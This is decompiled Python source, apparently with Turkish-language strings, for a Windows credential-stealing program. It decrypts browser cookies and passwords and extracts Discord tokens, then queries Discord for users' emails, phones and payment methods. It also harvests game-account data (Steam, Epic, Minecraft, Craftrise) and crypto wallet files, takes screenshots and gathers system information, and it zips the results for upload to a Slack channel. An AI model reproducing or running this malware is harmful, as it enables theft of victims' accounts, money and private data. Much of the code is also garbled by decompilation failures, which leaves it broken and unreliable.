profiles = os.listdir(user_data_dir)
for profile in profiles:
cookies_path = os.path.join(user_data_dir, profile, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
continue
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookies_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookies_path, temp_cookies_path)
shutil.copy2(cookies_path, temp_cookies_path)
with sqlite3.connect(f'{pathlib.Path(temp_cookies_path).as_uri()}?mode=ro', uri=True) as con:
cur = con.cursor()
cur.execute('SELECT host_key, name, CAST(encrypted_value AS BLOB) FROM cookies')
rows = cur.fetchall()
if rows:
filename = 'chrome_cookies.txt' if profile == 'Default' else f'chrome_{profile}_cookies.txt'
with open(os.path.join(output_root, filename), 'w', encoding='utf-8') as f:
for host, name, value in rows:
try:
decrypted = None
if value.startswith(b'v20') and master_key:
decrypted = decrypt_cookie_v20(value, master_key)
else:
if windows:
try:
decrypted = windows.crypto.dpapi.unprotect(value).decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
try:
d = win32crypt.CryptUnprotectData(value, None, None, None, 0)
if d and len(d) >= 2:
decrypted = d[1].decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
decrypted = '[DPAPI_FAIL]'
f.write(f'{host}\tFALSE\t/\tFALSE\t0\t{name}\t{decrypted}\n')
except Exception:
continue
shutil.copy2(cookies_path, temp_cookies_path)
except Exception:
continue
except Exception:
return None
def send_to_webhook(file_path=None, message=None, embeds=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_to_webhook: Failure: Compilation Error
if message:
send_slack_message(message)
if file_path and os.path.exists(file_path):
upload_to_slack_helper(file_path)
except Exception as e:
log_message(f'Slack error (send_to_webhook): {e}')
def count_cookies_and_passwords(output_root):
# ***<module>.count_cookies_and_passwords: Failure: Different control flow
cookie_count = 0
password_count = 0
if not os.path.exists(output_root):
return (0, 0)
else:
for root, dirs, files in os.walk(output_root):
for file in files:
try:
file_path = os.path.join(root, file)
if 'Passwords' in root or 'password' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
password_count += content.count('_________404_MESCİDİ__________')
if 'cookie' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
cookie_count += len([l for l in lines if not l.strip() and (not l.strip().startswith('#')) and ('\t' in l)])
if file.endswith('.txt'):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
if '_________404_MESCİDİ__________' in content or ('URL :' in content and 'Password :' in content):
pass
else:
if 'http' in content.lower() or '.com' in content.lower():
cookie_count += len([l for l in content.split('\n') if '\t' in l and 'http' in l.lower()])
except Exception:
continue
return (cookie_count, password_count)
def run_cookie_extraction():
# ***<module>.run_cookie_extraction: Failure: Different bytecode
is_elevated_flag = '--elevated' in sys.argv
log_message('run_cookie_extraction started')
if not is_admin() and (not is_elevated_flag):
return (0, 0)
try:
if browser_cookie3:
log_message('browser_cookie3 module is LOADED.')
else:
log_message('browser_cookie3 module is MISSING.')
games = scan_games()
except Exception:
games = {}
computer_name = os.environ.get('COMPUTERNAME', 'UNKNOWN_PC')
user_name = os.environ.get('USERNAME', 'UNKNOWN_USER')
temp_dir = tempfile.mkdtemp()
output_root = os.path.join(temp_dir, f'Browser_{computer_name}')
os.makedirs(output_root, exist_ok=True)
os.makedirs(os.path.join(output_root, 'Passwords'), exist_ok=True)
browser_operations = [('Edge Cookies', get_edge_cookies, {'output_dir': output_root}), ('Opera Cookies', get_opera_cookies, {'output_dir': output_root}), ('Opera GX Cookies', get_opera_gx_cookies, {'output_dir': output_root}), ('Firefox Cookies', get_firefox_cookies, {'output_dir': output_root}), ('Yandex Cookies', get_yandex_cookies, {'output_dir': output_root}), ('Brave Passwords', extract_passwords, {'output_dir': os.path.join(output_root, 'Passwords'), 'user_data_path': os.path.join(output_root, 'Passwords')}), ('Yandex Passwords', extract_yandex, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Chrome Data', process_chrome_data, {'output_root': output_root})]
for operation in browser_operations:
try:
log_message(f'Running operation: {operation[0]}')
if isinstance(operation[2], dict):
operation[1](**operation[2])
else:
operation[1](*operation[2])
except Exception as e:
log_message(f'Operation {operation[0]} failed: {e}')
cookie_count, password_count = count_cookies_and_passwords(output_root)
zip_path = None
has_files = False
for root, dirs, files in os.walk(output_root):
if files:
log_message(f'Found files in output: {files}')
has_files = True
break
if not has_files:
log_message(f'No files were extracted to {output_root}')
if has_files:
try:
log_message('Attempting to create zip file...')
zip_filename = f'Cookie_{computer_name}.zip'
zip_path = os.path.join(temp_dir, zip_filename)
create_zip_with_outputs(output_root, zip_path)
if os.path.exists(zip_path):
log_message(f'Zip created successfully at {zip_path}, size: {os.path.getsize(zip_path)}')
else:
log_message(f'Zip file NOT FOUND after creation attempt: {zip_path}')
except Exception as e:
log_message(f'Error in cookie extraction: {e}')
import traceback
log_message(traceback.format_exc())
return (cookie_count, password_count, zip_path)
def send_report(payload=None, file_path=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_report: Failure: Compilation Error
if payload:
text = payload.get('content') or payload.get('message') or ''
if not text and 'embeds' in payload:
embed = payload['embeds'][0]
text = f'*{embed.get('title', 'Report')}*\n{embed.get('description', '')}\n'
for field in embed.get('fields', []):
text += f'\n*{field['name']}*:\n{field['value']}\n'
return send_slack_message(text)
if file_path and os.path.exists(file_path):
return upload_to_slack_helper(file_path)
return False
except Exception:
return False
def upload_file(file_path, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.upload_file: Failure: Compilation Error
if os.path.exists(file_path):
return upload_to_slack_helper(file_path)
return False
except Exception:
return False
def scan_games():
# irreducible cflow, using cdg fallback
# ***<module>.scan_games: Failure: Compilation Error
games = {}
user = os.getenv('USERPROFILE', '')
if not user:
return games
with ThreadPoolExecutor(max_workers=8) as executor:
top_level_riot = ['C:\\Program Files\\Riot Games\\VALORANT', 'C:\\Riot Games\\VALORANT', 'D:\\Riot Games\\VALORANT', 'E:\\Riot Games\\VALORANT']
futures = {executor.submit(check_game_path('Valorant', top_level_riot), 'Valorant', executor.submit(check_game_path('Roblox', os.path.join(user, 'AppData', 'Local', 'Roblox'), [os.path.join(user, 'AppData', 'Local', 'Gameforge4d', 'GameforgeClient.exe')]), 'Albion Online', executor.submit(check_game_path('Growtopia', os.path.join(user, 'AppData', 'Local', 'Growtopia', 'Growtopia.exe'), [os.path.join('C:', 'Riot Games', 'League of Legends'), os.path.join('D:', 'Riot Games', 'League of Legends')]), 'League of Legends', executor.submit(collect_steam_info), 'Steam', executor.submit(collect_epic_games_info), 'Epic Games')}
for future in as_completed(futures):
game_name = futures[future]
result = future.result()
if isinstance(result, dict):
games.update(result)
if result:
games[game_name] = result
games[game_name] = False
return games
except Exception:
games[game_name] = False
except Exception:
return {}
def collect_steam_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_steam_info: Failure: Compilation Error
steam_info = {'installed': False, 'games_count': 0, 'username': '', 'level': '', 'wallet_balance': '', 'mobile_guard': ' Pasif'}
steam_paths = [os.path.join(os.getenv('ProgramFiles(x86)', ''), 'Steam'), os.path.join(os.getenv('ProgramFiles', ''), 'Steam'), os.path.join(os.getenv('USERPROFILE', ''), 'AppData', 'Roaming', 'Steam')]
steam_path = None
for path in steam_paths:
if os.path.exists(path):
steam_path = path
break
if not steam_path:
return {'Steam': False}
else:
steam_info['installed'] = True
steamapps_path = os.path.join(steam_path, 'steamapps')
if os.path.exists(steamapps_path):
acf_files = [f for f in os.listdir(steamapps_path) if f.endswith('.acf')]
steam_info['games_count'] = len(acf_files)
config_path = os.path.join(steam_path, 'config')
if os.path.exists(config_path):
loginusers_file = os.path.join(config_path, 'loginusers.vdf')
if os.path.exists(loginusers_file):
with open(loginusers_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('PersonaName[\\s\\t]+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('\"AccountName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
localconfig_file = os.path.join(config_path, 'localconfig.vdf')
if os.path.exists(localconfig_file):
with open(localconfig_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
wallet_match = re.search('\"wallet_balance\"\\s+\"([^\"]+)\"', content)
if not wallet_match:
wallet_match = re.search('wallet_balance[\\s\\t]+\"([^\"]+)\"', content)
if wallet_match:
balance_val = wallet_match.group(1).strip()
if balance_val and balance_val!= '0':
steam_info['wallet_balance'] = balance_val
level_match = re.search('\"level\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('\"SteamLevel\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('level[\\s\\t]+\"([^\"]+)\"', content)
if level_match:
level_val = level_match.group(1).strip()
if level_val:
steam_info['level'] = level_val
if windows:
steam_reg_path = 'SOFTWARE\\Valve\\Steam'
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, steam_reg_path) as key:
try:
mobile_guard, _ = winreg.QueryValueEx(key, 'MobileAuthenticatorEnabled')
steam_info['mobile_guard'] = ' Aktif' if mobile_guard else ' Pasif'
except:
steam_info['mobile_guard'] = ' Pasif'
if not steam_info.get('username'):
try:
reg_username, _ = winreg.QueryValueEx(key, 'PersonaName')
if reg_username:
steam_info['username'] = reg_username
except:
pass
if not steam_info.get('username'):
userdata_path = os.path.join(steam_path, 'userdata')
if os.path.exists(userdata_path):
for folder in os.listdir(userdata_path):
if folder.isdigit():
config_path_user = os.path.join(userdata_path, folder, 'config', 'localconfig.vdf')
if os.path.exists(config_path_user):
with open(config_path_user, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
return {'Steam': steam_info}
return {'Steam': steam_info}
except Exception:
pass
except Exception:
pass
except Exception:
steam_info['mobile_guard'] = ' Kontrol Edilemedi'
continue
return {'Steam': steam_info}
except Exception:
return {'Steam': False}
def collect_epic_games_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_epic_games_info: Failure: Compilation Error
epic_info = {'installed': False, 'games_count': 0, 'username': 'Bilinmiyor', 'email': 'Bilinmiyor'}
epic_paths = ['C:\\Program Files\\Epic Games', 'C:\\Program Files (x86)\\Epic Games', 'D:\\Epic Games', 'E:\\Epic Games']
epic_path = None
for path in epic_paths:
if os.path.exists(path):
epic_path = path
break
if not epic_path:
return {'Epic Games': False}
else:
epic_info['installed'] = True
for root, dirs, files in os.walk(epic_path):
if '.egstore' in dirs:
epic_info['games_count'] += 1
launcher_path = os.path.join(epic_path, 'Launcher')
if os.path.exists(launcher_path):
portal_path = os.path.join(launcher_path, 'Portal')
if os.path.exists(portal_path):
for root, dirs, files in os.walk(portal_path):
for file in files:
if file.endswith('.json'):
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
data = json.load(f)
if 'displayName' in data:
epic_info['username'] = data['displayName']
config_path = os.path.join(launcher_path, 'Saved', 'Config')
if os.path.exists(config_path):
for root, dirs, files in os.walk(config_path):
for file in files:
if file.endswith('.ini'):
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
email_match = re.search('email=([^\\n\\r]+)', content, re.IGNORECASE)
if email_match and (not epic_info.get('email') or epic_info['email'] == 'Bilinmiyor'):
epic_info['email'] = email_match.group(1).strip()
return {'Epic Games': epic_info}
continue
continue
except Exception:
return {'Epic Games': epic_info}
def check_path_exists(paths):
# ***<module>.check_path_exists: Failure: Different control flow
try:
for path in paths:
if os.path.exists(path):
pass
else:
return True
except Exception:
return False
return False
def check_game_path(game_name, paths):
return check_path_exists(paths)
def scan_wallets():
# irreducible cflow, using cdg fallback
# ***<module>.scan_wallets: Failure: Compilation Error
wallets = {}
user = os.getenv('USERPROFILE', '')
if not user:
return wallets
else:
wallet_paths = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': [os.path.join(user, 'AppData', 'Roaming', 'Electrum')], 'Coinomi': [os.path.join(user, 'AppData', 'Local', 'Coinomi')], 'MetaMask': [os.path.join(user, 'AppData', 'Local', 'MetaMask')], 'MyEtherWallet': [os.path.join(user, 'AppData', 'Local', 'MyEtherWallet'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge')], 'Atomic': [os.path.join(user, 'AppData', 'Roaming', 'atomic')]}
with ThreadPoolExecutor(max_workers=6) as executor:
futures = {}
for wallet_name, paths in wallet_paths.items():
future = executor.submit(check_wallet_path, wallet_name, paths)
futures[future] = wallet_name
for future in as_completed(futures):
wallet_name = futures[future]
try:
wallets[wallet_name] = future.result()
except Exception:
wallets[wallet_name] = False
else:
return wallets
except Exception:
return {}
def check_wallet_path(wallet_name, paths):
return check_path_exists(paths)
def collect_wallet_data():
# irreducible cflow, using cdg fallback
# ***<module>.collect_wallet_data: Failure: Compilation Error
wallet_files = []
error_log = []
user = os.getenv('USERPROFILE', '')
if not user:
error_log.append('USERPROFILE environment variable not found')
return (wallet_files, error_log)
else:
wallet_configs = {'Exodus': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'extensions': ['.wallet', '.seed', '.key']}, 'Electrum': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Electrum', 'wallets')], 'extensions': ['.json', 'default_wallet']}, 'Guarda': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Guarda')], 'extensions': ['.json']}, 'Ledger Live': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge')], 'extensions': ['.log']}, 'Atomic': {
for wallet_name, config in wallet_configs.items():
for path in config['paths']:
if os.path.exists(path):
for root, dirs, files in os.walk(path):
for file in files:
if any((ext in file.lower() for ext in config['extensions'])) and <code object LUID_AND_ATTRIBUTES at 0x703b27eb7530, file "sa.py", line 154>((ext in file.lower() for ext in config['extensions'])):
full_path = os.path.join(root, file)
wallet_files.append({'path': full_path, 'wallet': wallet_name.lower().replace(' ', '_'), 'filename': file})
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Error scanning {wallet_name} at {path}: {str(e)}')
except Exception as e:
error_log.append(f'General error in collect_wallet_data: {str(e)}')
def create_error_zip(error_log, zip_name='GAMES.zip'):
# ***<module>.create_error_zip: Failure: Different bytecode
try:
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as error_zip:
if error_log and len(error_log) > 0:
error_log_path = os.path.join(tempfile.gettempdir(), 'wallet_errors.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write(f'Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n')
f.write('==================================================\n')
for error in error_log:
f.write(f'- {error}\n')
error_zip.write(error_log_path, 'wallet_errors.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
return zip_path if os.path.exists(zip_path) else None
except Exception:
return None
def silent_wallet_collection():
# ***<module>.silent_wallet_collection: Failure: Different bytecode
wallet_files = []
error_log = []
try:
wallet_files, errors = collect_wallet_data()
error_log.extend(errors)
if not wallet_files and error_log:
error_zip_path = create_error_zip(error_log)
if error_zip_path:
try:
upload_file(error_zip_path)
if os.path.exists(error_zip_path):
os.remove(error_zip_path)
except Exception:
pass
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Critical error in silent_wallet_collection: {str(e)}')
return (wallet_files, error_log)
def take_snapshot():
# irreducible cflow, using cdg fallback
# ***<module>.take_snapshot: Failure: Compilation Error
with mss.mss() as sct:
tmp_file = os.path.join(tempfile.gettempdir(), f'snap_{random.randint(10000, 99999)}.png')
sct.shot(output=tmp_file)
return tmp_file if os.path.exists(tmp_file) else None
except Exception:
return None
def check_minecraft_premium():
# ***<module>.check_minecraft_premium: Failure: Different bytecode
minecraft_info = {'installed': False, 'premium_accounts': 0, 'usernames': [], 'total_accounts': 0}
user = os.getenv('USERPROFILE', '')
if not user:
return minecraft_info
else:
minecraft_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft')
if not os.path.exists(minecraft_path):
return minecraft_info
else:
minecraft_info['installed'] = True
try:
profiles_file = os.path.join(minecraft_path, 'launcher_profiles.json')
if os.path.exists(profiles_file):
with open(profiles_file, 'r', encoding='utf-8') as f:
profiles_data = json.load(f)
authentication_db = profiles_data.get('authenticationDatabase', {})
premium_count = 0
usernames = []
total_accounts = 0
for account_id, account_info in authentication_db.items():
total_accounts += 1
username = account_info.get('username', 'Bilinmiyor')
if username and '@' not in username:
premium_count += 1
usernames.append(username)
else:
if username and ('@live.com' in username or '@outlook.com' in username or '@hotmail.com' in username):
premium_count += 1
usernames.append(username.split('@')[0])
minecraft_info['premium_accounts'] = premium_count
minecraft_info['usernames'] = usernames
minecraft_info['total_accounts'] = total_accounts
except Exception:
pass
return minecraft_info
def create_zip(minecraft_files, growtopia_files, sonoyuncu_files, craftrise_files, wallet_files, zip_name='Games.zip', error_log=None, roblox_data=None):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip: Failure: Compilation Error
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
added_files = set()
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
pass
def add_files_to_zip(file_list, folder_name):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip.add_files_to_zip: Failure: Compilation Error
for f in file_list:
pass
if os.path.exists(f) and os.path.basename(f) not in added_files:
zipf.write(f, os.path.join(folder_name, os.path.basename(f)))
added_files.add(os.path.basename(f))
except Exception as e:
pass
if error_log is not None:
pass
error_log.append(f'Error adding {folder_name} file {f}: {str(e)}')
add_files_to_zip(minecraft_files, 'minecraft')
add_files_to_zip(growtopia_files, 'growtopia')
add_files_to_zip(sonoyuncu_files, 'sonoyuncu')
add_files_to_zip(craftrise_files, 'craftrise')
if roblox_data:
try:
zipf.writestr('roblox_cookie.txt', roblox_data)
added_files.add('roblox_cookie.txt')
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding roblox_cookie.txt: {str(e)}')
for wallet_info in wallet_files:
if os.path.exists(wallet_info['path']):
wallet_name = wallet_info['wallet']
filename = wallet_info['filename']
unique_name = f'{wallet_name}_{filename}'
counter = 1
original_unique_name = unique_name
if unique_name in added_files:
unique_name = f'{original_unique_name}_{counter}'
counter += 1
else:
zipf.write(wallet_info['path'], os.path.join('wallets', wallet_name, filename))
added_files.add(unique_name)
if error_log and len(error_log) > 0:
try:
error_log_path = os.path.join(tempfile.gettempdir(), 'error_log.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write('\n'.join(error_log))
zipf.write(error_log_path, 'error_log.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
except Exception:
pass
if os.path.exists(zip_path):
return zip_path
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding wallet file {wallet_info.get('path', 'UNKNOWN')}: {str(e)}')
class DataProcessor:
def __init__(self):
try:
self.user = os.path.expanduser('~')
self.accounts = []
except Exception:
self.user = ''
self.accounts = []
def read_config(self, fpath):
# irreducible cflow, using cdg fallback
# ***<module>.DataProcessor.read_config: Failure: Compilation Error
with open(fpath, 'r', encoding='utf-8') as f:
d = json.load(f)
u, e = (d.get('rememberName', ''), d.get('rememberPass', ''))
p = self.decrypt_data(e)
if u and p:
self.accounts.append({'Kullanıcı': u, 'Şifre': p})
except Exception:
return None
def decrypt_data(self, e):
# ***<module>.DataProcessor.decrypt_data: Failure: Different bytecode
try:
key = b'2640023187059250'
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(base64.b64decode(e))
pad = dec[(-1)]
if isinstance(pad, int):
pad = int(pad)
else:
pad = ord(pad)
txt = dec[ad].decode()
return self.process_text(txt).split('#')[0]
except Exception:
return 'Şifre çözülemedi'
def process_text(self, s):
def decode(s):
# ***<module>.DataProcessor.process_text.decode: Failure: Different bytecode
try:
return base64.b64decode(s).decode('utf-8')
except Exception:
return s
try:
for _ in range(2):
s = decode(s)
if not s:
break
else:
s = s.replace('3ebi2mclmAM7Ao2', '').replace('KweGTngiZOOj9d6', '')
return decode(s) or s
except Exception:
return s
def collect(self):
# ***<module>.DataProcessor.collect: Failure: Different bytecode
p = os.path.join(self.user, 'AppData', 'Roaming', '.craftrise')
if not os.path.exists(p):
return 'Craftrise hesabı bulunamadı.'
else:
try:
for root, _, files in os.walk(p):
for f in files:
if f == 'config.json':
try:
self.read_config(os.path.join(root, f))
except Exception:
pass
else:
pass
return self.accounts if self.accounts else 'Craftrise hesabı bulunamadı.'
except Exception:
return 'Craftrise bilgisi alınamadı.'
class TokenCollector:
def get_key(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_key: Failure: Compilation Error
local_state_path = os.path.join(path, 'Local State')
if not os.path.exists(local_state_path):
local_state_path = os.path.join(os.path.dirname(path), 'Local State')
if not os.path.exists(local_state_path):
return
with open(local_state_path, 'r', encoding='utf-8') as f:
key = base64.b64decode(json.load(f)['os_crypt']['encrypted_key'])[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception:
return None
def decrypt_token(self, enc, key):
# ***<module>.TokenCollector.decrypt_token: Failure: Different bytecode
try:
data = base64.b64decode(enc.split('dQw4w9WgXcQ:')[1])
iv, payload, tag = (data[3:15], data[15-16)], data[(-16):])
return AES.new(key, AES.MODE_GCM, iv).decrypt_and_verify(payload, tag).decode()
except Exception:
return None
def collect_tokens(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.collect_tokens: Failure: Compilation Error
leveldb_path = os.path.join(path, 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
leveldb_path = os.path.join(path, 'Default', 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
return []
else:
path = os.path.join(path, 'Default')
key = self.get_key(path)
if not key:
return []
else:
tokens = []
for f in os.listdir(leveldb_path):
if f.endswith(('.log', '.ldb')):
with open(os.path.join(leveldb_path, f), 'r', errors='ignore') as file:
content = file.read()
tokens += re.findall('dQw4w9WgXcQ:[^\\\"\\\\]+', content)
return list(set(filter(None, [self.decrypt_token(t, key) for t in tokens])))
except Exception:
continue
except Exception:
pass
def get_all_tokens(self):
# ***<module>.TokenCollector.get_all_tokens: Failure: Compilation Error
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
if not LOCAL or not ROAMING:
return []
else:
return {'Discord': os.path.join(ROAMING, 'discord'), 'Discord Canary': os.path.join(ROAMING, 'discordcanary'), 'Lightcord': os.path.join(ROAMING, 'Opera Software', 'Opera Stable'), 'Opera GX': os.path.join(ROAMING, 'Opera Software', 'Opera GX Stable'), 'Amigo': os.path.join(LOCAL, 'Amigo', 'User Data'), 'Torch': os.path.join(LOCAL, 'Torch', 'User Data'), 'Kometa': os.path.join(LOCAL, 'Torch', 'User Data'), 'Orbitum': os.path.join(LOCAL, 'Torch', 'User Data'), 'Chrome SxS': os.path.join(LOCAL, 'Google', 'Chrome', 'User Data'), 'Epic Privacy Browser': os.path.join(LOCAL, 'Epic Privacy Browser', 'User Data'), 'Microsoft Edge': os.path.join(LOCAL, '
all_tokens = []
seen_tokens = set()
for name, path in PATHS.items():
if os.path.exists(path):
tokens = self.collect_tokens(path)
for t in tokens:
if t not in seen_tokens:
all_tokens.append({'token': t, 'source': name})
seen_tokens.add(t)
return all_tokens
def get_user_info(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_user_info: Failure: Compilation Error
r = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
u = r.json()
return {'id': u.get('id', ''), 'username': f'{u.get('username', '')}#{u.get('discriminator', '')}', 'email': u.get('email', 'Yok'), 'phone': u.get('phone', 'Yok'), 'public_flags': u.get('public_flags', 0), 'premium_type': u.get('premium_type', 0)}
return None
except Exception:
return None
def decode_badges(self, flags):
try:
badges = []
mapping = {1: 'Discord Staff', 2: 'Partner', 4: 'HypeSquad Events', 8: 'Bug Hunter 1', 64: 'HypeSquad Bravery', 128: 'HypeSquad Brilliance', 256: 'HypeSquad Balance', 512: 'Early Supporter', 16384: 'Bug Hunter 2', 131072: 'Verified Bot Dev', 4194304: 'Active Developer'}
for k, v in mapping.items():
if flags & k:
badges.append(v)
return badges or ['Yok']
except Exception:
return ['Yok']
def has_nitro(self, user):
try:
return bool(user.get('premium_type', 0))
except Exception:
return False
def get_canary_badges(self, token):
# ***<module>.TokenCollector.get_canary_badges: Failure: Different control flow
try:
u = self.get_user_info(token)
if u:
badges = self.decode_badges(u['public_flags'])
return badges if badges and badges!= ['Yok'] else ['Yok']
except Exception:
return ['Yok']
return ['Yok']
def calc_creation_date(self, user_id):
# ***<module>.TokenCollector.calc_creation_date: Failure: Different bytecode
try:
ts = ((int(user_id) >> 22) + 1420070400000) / 1000
return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y')
except Exception:
return 'Bilinmiyor'
def get_payments(self, token):
# ***<module>.TokenCollector.get_payments: Failure: Different bytecode
try:
r = requests.get('https://discord.com/api/v9/users/@me/billing/payment-sources', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
sources = []
for s in r.json():
if s.get('type') == 1:
sources.append(f'Kart: {s.get('brand', 'Bilinmiyor').capitalize()} •••• {s.get('last_4', '****')}')
else:
if s.get('type') == 2:
sources.append(f'PayPal: {s.get('email', 'Bilinmiyor')}')
return sources or ['Kayıtlı kart yok']
else:
return ['Kayıtlı kart yok']
except Exception:
return ['Kayıtlı kart yok']
def scan_browsers():
# irreducible cflow, using cdg fallback
# ***<module>.scan_browsers: Failure: Compilation Error
browsers = []
paths = {'Chrome': ['%LOCALAPPDATA%\\Google\\Chrome\\User Data', '%PROGRAMFILES%\\Google\\Chrome\\User Data'], 'Edge': ['%LOCALAPPDATA%\\Microsoft\\Edge\\User Data', '%PROGRAMFILES%\\Microsoft\\Edge\\User Data'], 'Brave': ['%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data', '%PROGRAMFILES%\\BraveSoftware\\Brave-Browser\\User Data'], 'Opera': ['%APPDATA%\\Opera Software\\Opera Stable'], 'Opera GX': ['%APPDATA%\\Opera Software\\Opera GX Stable'], 'Yandex': ['%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data'], 'Firefox': ['%APPDATA%\\Mozilla\\Firefox\\Profiles']}
for b, ps in paths.items():
<mask_8> = any((os.path.exists(os.path.expandvars(p)) for p in ps if os.path.exists(os.path.expandvars(p)) for p in ps))
browsers.append(b)
return browsers
except Exception:
pass
def get_system_info():
# irreducible cflow, using cdg fallback
# ***<module>.get_system_info: Failure: Compilation Error
info = {'PC': 'Bilinmiyor', 'User': 'Bilinmiyor', 'OS': 'Bilinmiyor', 'Browsers': [], 'LocalIP': 'Bilinmiyor', 'PublicIP': 'Bilinmiyor', 'CPU': 'Bilinmiyor', 'GPU': 'Bilinmiyor', 'RAM': 'Bilinmiyor'}
if __debug__:
pass
try:
pc = socket.gethostname()
info['PC'] = pc
except Exception:
pass
try:
info['User'] = os.getlogin()
except Exception:
pass
try:
info['OS'] = platform.platform()
except Exception:
pass
try:
import psutil
ram_bytes = psutil.virtual_memory().total
info['RAM'] = f'{ram_bytes / 1073741824:.2f} GB'
except Exception:
info['RAM'] = 'Bilinmiyor'
try:
cpu_out = subprocess.check_output('wmic cpu get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['CPU'] = cpu_out
except Exception:
info['CPU'] = 'Bilinmiyor'
try:
gpu_out = subprocess.check_output('wmic path win32_VideoController get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['GPU'] = gpu_out
except Exception:
info['GPU'] = 'Bilinmiyor'
try:
info['Browsers'] = scan_browsers()
except Exception:
pass
try:
info['LocalIP'] = socket.gethostbyname(pc)
except Exception:
pass
public_ip = requests.get('https://api.ipify.org', timeout=5, verify=False).text
info['PublicIP'] = public_ip
return info
except Exception:
pass
except Exception:
pass
def format_game_info(game_name, game_data):
# ***<module>.format_game_info: Failure detected at line number 799 and instruction offset 534: Different bytecode
if game_name == 'Steam' and isinstance(game_data, dict):
info = game_data
games = info.get('games_count', 0)
guard_status = info.get('mobile_guard', ' Kontrol Edilemedi')
username = info.get('username', '') or ''
level = info.get('level', '') or ''
balance = info.get('wallet_balance', '') or ''
parts = [f' {games} oyun']
if username and username.strip():
parts.append(username.strip())
if level and level.strip():
parts.append(f'Lv.{level.strip()}')
if balance and balance.strip() and (balance!= '0'):
parts.append(f'{balance.strip()}₺')
parts.append(f'Guard: {guard_status}')
return ' | '.join(parts)
else:
if game_name == 'Epic Games' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
games = info.get('games_count', 0)
username = info.get('username', 'Bilinmiyor')
email = info.get('email', 'Bilinmiyor')
return f' {games} oyun | {username} | {email}'
else:
if game_name == 'Minecraft' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
premium_count = info.get('premium_accounts', 0)
total_accounts = info.get('total_accounts', 0)
usernames = info.get('usernames', [])
if premium_count > 0:
username_str = ', '.join(usernames[:3])
if len(usernames) > 3:
username_str += f' ve {len(usernames) - 3} kişi daha'
return f' Yüklü ({premium_count} premium hesap, {total_accounts} toplam hesap, Kullanıcılar: {username_str})'
else:
return f' Yüklü ({total_accounts} hesap, premium hesap yok)'
else:
if game_data:
return ' Yüklü'
if __name__ == '__main__':
log_message('--- SCRIPT STARTED ---')
